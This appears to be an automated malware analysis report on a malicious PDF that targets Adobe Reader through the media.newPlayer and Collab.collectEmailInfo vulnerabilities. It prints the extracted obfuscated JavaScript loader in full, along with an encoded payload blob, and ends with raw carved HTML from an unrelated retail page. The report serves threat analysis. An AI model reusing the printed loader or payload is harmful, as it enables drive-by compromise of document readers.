Malicious PDF — malware analysis report

Static analysis result for SHA-256 00f3f59c2135429f…

MALICIOUS

PDF

180.5 KB First seen: 2026-05-10
MD5: 116a82a8f317236012778cf0a2c2ce6d SHA-1: 17cf8e98ebea8ca15a25cf30818af9e7a2b31595 SHA-256: 00f3f59c2135429f11fa0ecadf30493c1f5a70f9c905689ff8efffbeeaa0f84f
312 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages known vulnerabilities (CVE-2009-4324 and CVE-2007-5659) via the media.newPlayer and Collab.collectEmailInfo APIs. The JavaScript is heavily obfuscated but appears to be designed to download and execute a secondary payload. ClamAV detections further confirm the malicious nature of the file and its extracted artifacts.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Exploit.Agent-36114 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36114
  • Embedded script payload in PDF stream medium PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED
    The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSEOF. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.freecause.com/images/white1_1.png Referenced by PDF JavaScript
    • http://www.airmilesshops.ca/servlet/ContentServer?pagename=airmilesshops/Home&amp;PreferLang=E&amp;RefererPage=AM_BRICK_HOME_DEFAULTReferenced by PDF JavaScript
    • http://omnt.imlsc/nReferenced by PDF JavaScript
    • http://images.tsn.ca/images/silver/yourcall/tool_tip_right.pngIn PDF document text
    • http://images.tsn.ca/images/silver/yourcall/headers/its_your_call-435x100.gifIn PDF document text
    • http://images.tsn.ca/images/silver/yourcall/headers/top_users-435x100.gifIn PDF document text
    • http://images.tsn.ca/images/silver/common/icons/px.gifReferenced by PDF JavaScript
    • http://www.w3.org/tr/xhtml1/DTD/xhtml1-transitional.dtdReferenced by PDF JavaScript
    • http://www.adobe.com/go/getflashplayerReferenced by PDF JavaScript
    • http://community.airmiles.ca/en/Referenced by PDF JavaScript
    • https://www.airmiles.ca/arrow/CouponsBonusOffers?sortOption=-startDateReferenced by PDF JavaScript
    • http://community.airmiles.ca/en/discussion_detail/?contentid=7716973975507766621Referenced by PDF JavaScript
    • http://images.tsn.ca/images/silver/yourcall/tool_tip_right.png);background-repeat:no-repeat;width:142px;height:36px;padding-top:6px;text-align:center;color:#6a7073;font-size:.9em;}#tsnYourCallStoryIn PDF document text
    • http://images.tsn.ca/images/silver/yourcall/headers/its_your_call-435x100.gif);background-repeat:no-repeat;padding-left:5px;margin-right:-5px;}#tsnYourCallUsers{background-image:url(http://images.tsn.ca/images/silver/yourcall/headers/top_users-435x100.gif);background-repeat:no-repeat;margin-right:-5px;margin-left:-5px;}#tsnYourCallBrickIn PDF document text
    • http://images.tsn.ca/images/silver/common/icons/px.gif);}#tsnYourCallBrickIn PDF document text
    • http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBIRLoqU0TKDqKMn2lQejzfHEBq-Hg9YBn8vFwxvDrIGmGgAQARgBIPiV9AE4AFD1svuVBmD9oJmB6AOgAdnZpucDsgEUd3d3LnBsZW50eW9mZmlzaC5jb226AQk3Mjh4OTBfYXPIAQLaAVNodHRwOi8vd3d3LnBsZW50eW9mZmlzaC5jb20vaGlzdG9yeS5hc3B4P1NJRD1sNGdwbnFiMWU1eWQ1cDFjNGQxYnVjYXMmR3VpZD0yMTU0MTQ1NYACAZgCjgLAAgXIAu3C0RDgAgDqAhJoaXN0b3J5X3RvcF83Mjh4OTCQA-ADmAOsAqgDAcADDcgDBegDZvUDAECAxOAEAQ&num=1&sig=AGiWqtx3P6-GRWz2P6x78Ji-Mqc2c7qF0A&client=ca-pub-3876727481877168&adurl=http://altfarm.mediaplex.com/ad/ck/5152-94491-2056-20%3Fmpro%3Dhttp://www.kijiji.caReferenced by PDF JavaScript
    • http://pagead2.googlesyndication.com/pagead/imgad?id=CKSop6yQt_7SzQEQ2AUYTzIIZmn5EyFjiWIReferenced by PDF JavaScript
    • http://www.google.com/url?ct=abg&amp;q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.plentyoffish.com/history.aspx%253FSID%253Dl4gpnqb1e5yd5p1c4d1bucas%2526Guid%253D21541455%26hl%3Den%26client%3Dca-pub-3876727481877168%26adU%3Dkijiji.ca%26adT%3DImageAd%26gl%3DCA&amp;usg=AFQjCNFqUmCqVlV-z0MCmNmbST6jyOBHTgReferenced by PDF JavaScript
    • http://images.tsn.ca/images/silver/yourcall/tool_tip_right.png);background-repeat:no-repeat;width:142px;height:36px;padding-top:6px;text-align:center;color:#6a7073;font-size:.9emReferenced by PDF JavaScript
    • http://images.tsn.ca/images/silver/yourcall/headers/its_your_call-435x100.gif);background-repeat:no-repeat;padding-left:5px;margin-right:-5pxReferenced by PDF JavaScript
    • http://images.tsn.ca/images/silver/yourcall/headers/top_users-435x100.gif);background-repeat:no-repeat;margin-right:-5px;margin-left:-5pxReferenced by PDF JavaScript
    • http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBIRLo%U0TKD%KMn2lQejzfHEB%-Hg9YBn8vFwxvDrIGmGgAQARgBIPiV9AE4AFD1svuVBmD9oJmB6AOgAdnZpucDsgEUd3d3LnBsZW50eW9mZmlzaC5jb226AQk3Mjh4OTBfYXPIAQLaAVNodHRwOi8vd3d3LnBsZW50eW9mZmlzaC5jb20vaGlzdG9yeS5hc3B4P1NJRD1sNGdwbnFiMWU1eWQ1cDFjNGQxYnVjYXMmR3VpZD0yMTU0MTQ1NYACAZgCjgLAAgXIAu3C0RDgAgD%AhJoaXN0b3J5X3RvcF83Mjh4OTCQA-ADmAOsA%gDAcADDcgDBegDZvUDAECAxOAEAQ&num=1&sig=AGiW%tx3P6-GRWz2P6x78Ji-MReferenced by PDF JavaScript
    • http://altfarm.mediaplex.com/ad/ck/5152-94491-2056-20?mpro=http://www.kijiji.caReferenced by PDF JavaScript
    • http://www.google.com/url?ct=abg&amp;%=https://www.google.com/adsense/support/bin/re%uest.py?contact=abg_afc&url=http://www.plentyoffish.com/history.aspx?SID=l4gpnReferenced by PDF JavaScript
    • http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBIRLo%U0TKD%KMn2lQejzfHEB%-Hg9YBn8vFwxvDrIGmGgAQARgBIPiV9AE4AFD1svuVBmD9oJmB6AOgAdnZpucDsgEUd3d3LnBsZW50eW9mZmlzaC5jb226AQk3Mjh4OTBfYXPIAQLaAVNodHRwOi8vd3d3LnBsZW50eW9mZmlzaC5jb20vaGlzdG9yeS5hc3B4P1NJRD1sNGdwbnFiMWU1eWQ1cDFjNGQxYnVjYXMmR3VpZD0yMTU0MTQ1NYACAZgCjgLAAgXIAu3C0RDgAgD%AhJoaXN0b3J5X3RvcF83Mjh4OTCQA-ADmAOsA%gDAcADDcgDBegDZvUDAECAxOAEAQ&num=1&sig=AGiW%tx3P6-GRWz2P6x78Ji-M�c7�A&client=ca-pub-3876727481877168&adurl=http://altfarm.mediaplex.com/ad/ck/5152-94491-2056-20?mpro=http://www.kijiji.caIn PDF document text
    • http://www.google.com/url?ct=abg&amp;%=https://www.google.com/adsense/support/bin/re%uest.py?contact=abg_afc&url=http://www.plentyoffish.com/history.aspx?SID=l4gpn�e5yd5p1c4d1bucas&Guid=21541455&hl=en&client=ca-pub-3876727481877168&adU=kijiji.ca&adT=ImageAd&gl=CA&amp;usg=AFQjCNF%UmC%VlV-z0MCmNmbST6jyOBHTgIn PDF document text

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1E7 2687 bytes
SHA-256: 4bcb228b2aa71a5c7a68b75653d94c427c704ba8da6c821d6848406201028b0f
Detection
ClamAV: Pdf.Exploit.Agent-36307
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var na_vso_vola_boga_s = "777e7".substr(4-1/*zSZVNzvFks1*/,1);
var CBrJfjuFFm77 = this;
var xx=["0","ee%xxjkjkjkkjkj","wss","9","ccc"];
var zz=xx[1].substr(3-1/*zSZVNzvFks1*/,1);
var na_vso_vola_boga_s2 = "r"+na_vso_vola_boga_s+"p"/*zSZVNzvFks1*/+"l"/*zSZVNzvFks1*/+"a"/*zSZVNzvFks1*/+"c"/*zSZVNzvFks1*/+na_vso_vola_boga_s;
var na_vso_vola_boga_sx = "v"/*zSZVNzvFks1*/+"z"/*zSZVNzvFks1*/+"l";
var qIHljYAvKx17 = CBrJfjuFFm77[na_vso_vola_boga_s+na_vso_vola_boga_sx[na_vso_vola_boga_s2]("z","a")];

function na_vso_vola_boga_sh999()
{
na_vso_vola_boga_sx = "u"+"njj"/*zSZVNzvFks1*/+"jjj"/*zSZVNzvFks1*/+"a"+"p";

}


        var axzv="";
        if (na_vso_vola_boga_s=="e")
        var af="fu"+"ncti"+"on ";
         for (jjj =/*zSZVNzvFks1*/ 0; /*zSZVNzvFks1*/jjj /*zSZVNzvFks1*/< /*zSZVNzvFks1*/999; jjj ++ )
         {
         if (na_vso_vola_boga_s=="e")
           axzv+=af+"na_vso_vola_boga_sh"+(/*zSZVNzvFks1*/jjj+/*zSZVNzvFks1*/4/*zSZVNzvFks1*/-2-/*zSZVNzvFks1*/2)+"(){na_vso_vola_boga_sh"+(/*zSZVNzvFks1*/jjj+/*zSZVNzvFks1*/6-/*zSZVNzvFks1*/3-/*zSZVNzvFks1*/2)+"()"+/*zSZVNzvFks1*/""+";}"/*zSZVNzvFks1*/+""+"       ";
         }

         qIHljYAvKx17(""+axzv+"na_vso_vola_boga_sh0"+"("+")"+";");

var RpaWkSZnYn18ro = /*zSZVNzvFks1*/na_vso_vola_boga_sx[na_vso_vola_boga_s2](/*zSZVNzvFks1*/"jjjjj",""+/*zSZVNzvFks1*/"es"/*zSZVNzvFks1*/+"c")/*zSZVNzvFks1*/+/*zSZVNzvFks1*/na_vso_vola_boga_s;

var RpaWkSZnYn18 = CBrJfjuFFm77[RpaWkSZnYn18ro];

var fdFurCDGOl15 = /q/gi;
var na_vso_vola_boga_s4 = "q76q61q72q20q43q42q72q4Aq66q6Aq75q46q46q6Dq37q37q7Aq20q3Dq20q61q70q70q3Bq76q61q72q20q47q76q6Dq6Fq42q54q73q50q56q4Eq31q30q20q3Dq20q43q42q72q4Aq66q6Aq75q46q46q6Dq37q37q7Aq2Eq64q6Fq63q3Bq47q76q6Dq6Fq42q54q73q50q56q4Eq31q30q2Eq73q79q6Eq63q41q6Eq6Eq6Fq74q53q63q61q6Eq28q29q3Bq76q61q72q20q78q41q75q57q56q49q57q52q4Fq47q34q20q3Dq20q47q76q6Dq6Fq42q54q73q50q56q4Eq31q30q2Eq67q65q74q41q6Eq6Eq6Fq74q73q28q30q29q3Bq76q61q72q20q4Bq73q64q4Eq6Eq63q67q50q69q42q35q20q3Dq20q78q41q75q57q56q49q57q52q4Fq47q34q5Bq30q5Dq2Eq73q75q62q6Aq65q63q74q3Bq76q61q72q20q78q6Aq6Cq58q54q44q66q69q4Dq68q36q20q3Dq20q4Bq73q64q4Eq6Eq63q67q50q69q42q35q2Eq72q65q70q6Cq61q63q65q28q66q64q46q75q72q43q44q47q4Fq6Cq31q35q2Cq22q25q22q29q3Bq76q61q72q20q4Cq4Aq68q47q67q44q4Fq43q55q63q37q3Dq52q70q61q57q6Bq53q5Aq6Eq59q6Eq31q38q28q52q70q61q57q6Bq53q5Aq6Eq59q6Eq31q38q28q78q6Aq6Cq58q54q44q66q69q4Dq68q36q29q29q3Bq0Aq65q76q61q6Cq28q4Cq4Aq68q47q67q44q4Fq43q55q63q37q29q3B";

qIHljYAvKx17(RpaWkSZnYn18(na_vso_vola_boga_s4[na_vso_vola_boga_s2](fdFurCDGOl15,zz)));



if(dada){
function adasfdsasa(){util[dasfdsasa2](dasfdsasa, new Date());}
adasfdsasa();adasfdsasa();
try {this[dasfdsasa4][dasfdsasa3](null);} catch(e) {}
adasfdsasa();
}
javascript_obj0008_001.js pdf-javascript-stream PDF /JS object 8 at offset 0x209 184265 bytes
SHA-256: df95dac246a76fdafb8b538f385180181fac8a7c77e9cf86eaa9a22aa6488b78
Detection
ClamAV: Pdf.Exploit.Agent-36307
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var na_vso_vola_boga_s = "777e7".substr(4-1/*zSZVNzvFks1*/,1);
var CBrJfjuFFm77 = this;
var xx=["0","ee%xxjkjkjkkjkj","wss","9","ccc"];
var zz=xx[1].substr(3-1/*zSZVNzvFks1*/,1);
var na_vso_vola_boga_s2 = "r"+na_vso_vola_boga_s+"p"/*zSZVNzvFks1*/+"l"/*zSZVNzvFks1*/+"a"/*zSZVNzvFks1*/+"c"/*zSZVNzvFks1*/+na_vso_vola_boga_s;
var na_vso_vola_boga_sx = "v"/*zSZVNzvFks1*/+"z"/*zSZVNzvFks1*/+"l";
var qIHljYAvKx17 = CBrJfjuFFm77[na_vso_vola_boga_s+na_vso_vola_boga_sx[na_vso_vola_boga_s2]("z","a")];

function na_vso_vola_boga_sh999()
{
na_vso_vola_boga_sx = "u"+"njj"/*zSZVNzvFks1*/+"jjj"/*zSZVNzvFks1*/+"a"+"p";

}


        var axzv="";
        if (na_vso_vola_boga_s=="e")
        var af="fu"+"ncti"+"on ";
         for (jjj =/*zSZVNzvFks1*/ 0; /*zSZVNzvFks1*/jjj /*zSZVNzvFks1*/< /*zSZVNzvFks1*/999; jjj ++ )
         {
         if (na_vso_vola_boga_s=="e")
           axzv+=af+"na_vso_vola_boga_sh"+(/*zSZVNzvFks1*/jjj+/*zSZVNzvFks1*/4/*zSZVNzvFks1*/-2-/*zSZVNzvFks1*/2)+"(){na_vso_vola_boga_sh"+(/*zSZVNzvFks1*/jjj+/*zSZVNzvFks1*/6-/*zSZVNzvFks1*/3-/*zSZVNzvFks1*/2)+"()"+/*zSZVNzvFks1*/""+";}"/*zSZVNzvFks1*/+""+"       ";
         }

         qIHljYAvKx17(""+axzv+"na_vso_vola_boga_sh0"+"("+")"+";");

var RpaWkSZnYn18ro = /*zSZVNzvFks1*/na_vso_vola_boga_sx[na_vso_vola_boga_s2](/*zSZVNzvFks1*/"jjjjj",""+/*zSZVNzvFks1*/"es"/*zSZVNzvFks1*/+"c")/*zSZVNzvFks1*/+/*zSZVNzvFks1*/na_vso_vola_boga_s;

var RpaWkSZnYn18 = CBrJfjuFFm77[RpaWkSZnYn18ro];

var fdFurCDGOl15 = /q/gi;
var na_vso_vola_boga_s4 = "q76q61q72q20q43q42q72q4Aq66q6Aq75q46q46q6Dq37q37q7Aq20q3Dq20q61q70q70q3Bq76q61q72q20q47q76q6Dq6Fq42q54q73q50q56q4Eq31q30q20q3Dq20q43q42q72q4Aq66q6Aq75q46q46q6Dq37q37q7Aq2Eq64q6Fq63q3Bq47q76q6Dq6Fq42q54q73q50q56q4Eq31q30q2Eq73q79q6Eq63q41q6Eq6Eq6Fq74q53q63q61q6Eq28q29q3Bq76q61q72q20q78q41q75q57q56q49q57q52q4Fq47q34q20q3Dq20q47q76q6Dq6Fq42q54q73q50q56q4Eq31q30q2Eq67q65q74q41q6Eq6Eq6Fq74q73q28q30q29q3Bq76q61q72q20q4Bq73q64q4Eq6Eq63q67q50q69q42q35q20q3Dq20q78q41q75q57q56q49q57q52q4Fq47q34q5Bq30q5Dq2Eq73q75q62q6Aq65q63q74q3Bq76q61q72q20q78q6Aq6Cq58q54q44q66q69q4Dq68q36q20q3Dq20q4Bq73q64q4Eq6Eq63q67q50q69q42q35q2Eq72q65q70q6Cq61q63q65q28q66q64q46q75q72q43q44q47q4Fq6Cq31q35q2Cq22q25q22q29q3Bq76q61q72q20q4Cq4Aq68q47q67q44q4Fq43q55q63q37q3Dq52q70q61q57q6Bq53q5Aq6Eq59q6Eq31q38q28q52q70q61q57q6Bq53q5Aq6Eq59q6Eq31q38q28q78q6Aq6Cq58q54q44q66q69q4Dq68q36q29q29q3Bq0Aq65q76q61q6Cq28q4Cq4Aq68q47q67q44q4Fq43q55q63q37q29q3B";

qIHljYAvKx17(RpaWkSZnYn18(na_vso_vola_boga_s4[na_vso_vola_boga_s2](fdFurCDGOl15,zz)));



if(dada){
function adasfdsasa(){util[dasfdsasa2](dasfdsasa, new Date());}
adasfdsasa();adasfdsasa();
try {this[dasfdsasa4][dasfdsasa3](null);} catch(e) {}
adasfdsasa();
}
endstream
endobj
7 0 obj
<<
/Length 181269
>>
stream
q25q30q41q25q36q36q25q37q35q25q36q45q25q36q33q25q37q34q25q36q39q25q36q46q25q36q45q25q32q30q25q36q36q25q36q39q25q37q38q25q35q46q25q36q39q25q37q34q25q32q38q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q39q25q32q30q25q37q42q25q30q41q25q37q37q25q36q38q25q36q39q25q36q43q25q36q35q25q32q30q25q32q38q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q45q25q36q43q25q36q35q25q36q45q25q36q37q25q37q34q25q36q38q25q32q30q25q32q41q25q32q30q25q33q32q25q32q30q25q33q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q39q25q32q30q25q37q42q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q30q25q32q42q25q33q44q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q33q42q25q37q44q25q30q41q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q30q25q33q44q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q45q25q37q33q25q37q35q25q36q32q25q37q33q25q37q34q25q37q32q25q36q39q25q36q45q25q36q37q25q32q38q25q33q30q25q32q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q30q25q32q46q25q32q30q25q33q32q25q32q39q25q33q42q25q37q32q25q36q35q25q37q34q25q37q35q25q37q32q25q36q45q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q33q42q25q37q44q25q30q41q25q36q36q25q37q35q25q36q45q25q36q33q25q37q34q25q36q39q25q36q46q25q36q45q25q32q30q25q37q35q25q37q34q25q36q39q25q36q43q25q35q46q25q37q30q25q37q32q25q36q39q25q36q45q25q37q34q25q36q36q25q32q38q25q32q39q25q32q30q25q37q42q25q30q41q25q37q36q25q36q31q25q37q32q25q32q30q25q37q30q25q36q31q25q37q39q25q36q43q25q36q46q25q36q31q25q36q34q25q32q30q25q33q44q25q32q30q25q37q35q25q36q45q25q36q35q25q37q33q25q36q33q25q36q31q25q37q30q25q36q35q25q32q38q25q32q32q25q32q35q25q37q35q25q34q35q25q33q38q25q33q39q25q33q30q25q32q35q25q37q35q25q33q30q25q33q33q25q33q34q25q34q34q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q32q25q33q30q25q32q35q25q37q35q25q33q36q25q34q31q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q34q36q25q33q30q25q33q30q25q32q35q25q37q35q25q34q32q25q33q39q25q34q34q25q33q30q25q32q35q25q37q35q25q33q30q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q33q38q25q33q38q25q34q32q25q32q35q25q37q35q25q33q30q25q33q35q25q34q35q25q34q32q25q32q35q25q37q35q25q34q36q25q33q33q25q33q35q25q34q35q25q32q35q25q37q35q25q34q36q25q34q36q25q34q31q25q33q34q25q32q35q25q37q35q25q34q35q25q33q38q25q34q34q25q33q30q25q32q35q25q37q35q25q34q36q25q34q36q25q34q36q25q33q36q25q32q35q25q37q35q25q34q36q25q34q36q25q34q36q25q34q36q25q32q35q25q37q35q25q33q35q25q33q34q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q33q25q32q35q25q37q35q25q33q38q25q34q32q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q34q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q33q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q36q25q33q34q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q31q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q34q25q33q36q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q33q32q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q33q25q32q35q25q37q35q25q33q38q25q34q32q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q34q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q32q25q33q32q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q35q25q34q32q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q31q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q33q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q31q25q33q30q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q33q25q32q35q25q37q35q25q33q38q25q34q32q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q34q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q34q33q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q37q25q33q38q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q31q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q31q25q34q31q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q35q25q33q38q25q34q35q25q34q32q25q32q35q25q37q35q25q33q38q25q34q32q25q33q35q25q33q33q25q32q35q25q37q35q25q33q35q25q33q33q25q34q34q25q34q33q25q32q35q25q37q35q25q33q34q25q33q30q25q33q36q25q34q31q25q32q35q25q37q35q25q33q30q25q33q30q25q33q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q31q25q33q30q25q32q35q25q37q35q25q33q35q25q33q37q25q33q30q25q33q30q25q32q35q25q37q35q25q34q33q25q33q38q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q32q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q34q36q25q34q31q25q32q35q25q37q
















<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/tr/xhtml1/DTD/xhtml1-transitional.dtd">


	
	


<html>




<head>
	<script>
		
			
			var omnitureServer = 'amrpairmilesca';
		
		
		var oasSegments = 'EVERYONE,07608_Amex,07391_07399_Metro,07578_CellQSU,AMX8101Cel2_Ad,8713_Iris,BMO7430NBMC_975,8185Cel1,AMX8062Cel2_3Rail,08810_Shell_W1_E,BMO7430MCRE,07776-09_Shell_VPow_E,08550_IRIS_Spot,AMX8097Cel1_Spotlight,8035_BMO_Ad_RNBE,BMO7790SHELL,CS_8884_150A,8399_BMO_2100_2,BMO7333_CM,BMO7333_AG,8635_NonEligible,07417_BMOSHELL,AMX8064Cel1_Spotlight,07584_Rexall,AMX8059Cel1,7920Universe,7317_RONA,7388_Brick,AMX8068Cel1_Ad,UVL8078AdU1,AMEX7737INE,8531_SHELL_E,CSPR8533Web,AMX8185Cel1_Ad,8399_BMO_2100_May,8139_CSPR_150,AMX8060Cel1,7326_Mobile,2010_4_BMO_KA_081,7283_AMEX_Non,AMX8094Cel1_Thumb';
	</script>

	<meta http-equiv="cache-control" content="no-cache"/>
	<meta http-equiv="expires" content="0"/>
	<meta name="build" content="op2-1.0.0.9-39"/>
	<title>AIR MILES - Home</title>
	<meta name="keywords" content="" />
	<meta name='description' content='' />
	<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
	<meta http-equiv="content-language"	content="en-us" />
	<meta http-equiv="imagetoolbar"	content="no" />
	<meta http-equiv="window-target" content="main" />
	<meta http-equiv="content-style-type" content="text/css" />
	<meta http-equiv="content-script-type" content="text/javascript" />

	<script language='javaScript1.3' type='text/javascript' src='/arrow/webresource/js/mootools_1_11.js'></script>

	<link rel="shortcut icon" href="/arrow/webresource/images/favicon.ico" type="image/x-icon" />
  
  
  	      
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/page.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/page-content.css'/>
  	
  

  
  
  	      
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/frameFacelif2.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/frame-general.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/footer-upper.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/lower-footer.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/submenu.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/frame-structure.css'/>
  	
  

  
  	
  
  
  	 
  	
  
  	 
  	
  		
  			
  				<link rel="stylesheet" href='/arrow/webresource/css/color-schema-login.css'/>
  			
  		
  	
  
  	 
  	
  		
  			
  		
  	
  

  
  
  	      
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/home2.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/third_rail.css'/>
  	
  
  
  <link rel="stylesheet" media="print" href='/arrow/webresource/css/print.css'/>
  
  
  
  	      
  	
  
  	      
  	
  	<script type='text/vbscript' src='/arrow/webresource/js/flash.vbs'></script>
  	
  
  
	  
	
	
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/javascript.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/s_code.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/flash.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/misc.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/mootools_1_11.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/swfobject.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/rewards/rewards.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/header_functions.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/hover_button.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/AC_OETags.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/imageResizerSupport.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/oas/getCollNameAndBalance.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/foresee/foresee-trigger.js'></script>
			
		
	

	<script type="text/javascript">
		swfobject.embedSWF("/arrow/webresource/flash/test.swf", "getFlash", "0", "0", "9.0.124");
	</script>







